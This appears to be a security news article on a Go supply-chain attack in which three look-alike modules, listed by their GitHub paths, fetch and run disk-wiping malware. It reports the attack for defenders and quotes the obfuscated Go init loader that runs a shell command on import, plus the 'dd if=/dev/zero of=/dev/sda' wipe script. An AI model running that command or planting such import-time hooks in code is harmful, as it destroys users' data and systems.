A new and highly destructive supply-chain attack has surfaced within the Go programming ecosystem, with hackers using deceptive modules to unleash powerful disk-wiping malware.
This attack takes advantage of the open nature of Go’s package system, where developers frequently pull dependencies from GitHub repositories, often with little to no oversight or validation. By manipulating this open environment, the attackers have been able to disguise malicious code within seemingly innocuous modules.
The modules are equipped with complex obfuscation methods that hide their malicious intent while delivering payloads capable of wiping out critical data. The attack exploits a growing issue within the Go ecosystem: namespace confusion. This issue arises when multiple modules with similar names create uncertainty, making it difficult for developers to distinguish between legitimate and harmful packages.
Such confusion allows malicious modules to slip under the radar, even when they aren’t direct “typosquats.” Attackers deliberately design their module names to appear trustworthy at first glance, which increases the chances of accidental integration into development workflows.
In April 2025, researchers from Socket.dev uncovered three Go modules that exhibited these harmful techniques: github[.]com/truthfulpharm/prototransform, github[.]com/blankloggia/go-mcp, and github[.]com/steelpoor/tlsproxy.
Though these modules looked valid, they contained hidden instructions to fetch and run remote payloads. These payloads triggered security scans, revealing the true nature of the attack.
Once activated, the malware sets in motion a disk-wiping command that effectively destroys all data on the device. The malware uses a simple yet powerful method to overwrite every byte of data on the device’s primary storage, making recovery almost impossible.
For organizations hit by this attack, the consequences are dire—complete data loss, prolonged system downtime, and potentially millions in damages from the destruction of critical infrastructure.
The Infection Process
The attackers used advanced string obfuscation to conceal their malicious actions. One of the modules includes an initialization function that runs automatically upon import:
go
func eGtROk() error {
DmM := []string{“4”, “/”, ” “, “e”, “/”, “g”, “d”, “3”, “6”, ” “, “4”, “w”, “/”, “7”, “d”, “.”, “…”}
pBRPhsxN := runtime.GOOS == “linux”
bcbGOM := “/bin/sh”
vpqIU := “-c”
PWcf := DmM[11] + DmM[5] + DmM[47] + DmM[32] + DmM[29] + DmM[50] + DmM[16] + DmM[2] + DmM[43]…
if pBRPhsxN {
exec.Command(bcbGOM, vpqIU, PWcf).Start()
}
return nil
}
var GEeEQNj = eGtROk()
This function constructs and runs a command that downloads a script designed to carry out a single, catastrophic operation:
bash
!/bin/bash
dd if=/dev/zero of=/dev/sda bs=1M conv=fsync
sync
The script uses the dd command to write zeros over the primary storage device, effectively erasing the entire file system, operating system, and all user data. The attack specifically targets Linux systems, ensuring that only these environments are affected.
This sophisticated attack underscores the growing risks in the Go ecosystem and highlights the critical need for developers to implement stronger validation processes when sourcing dependencies.
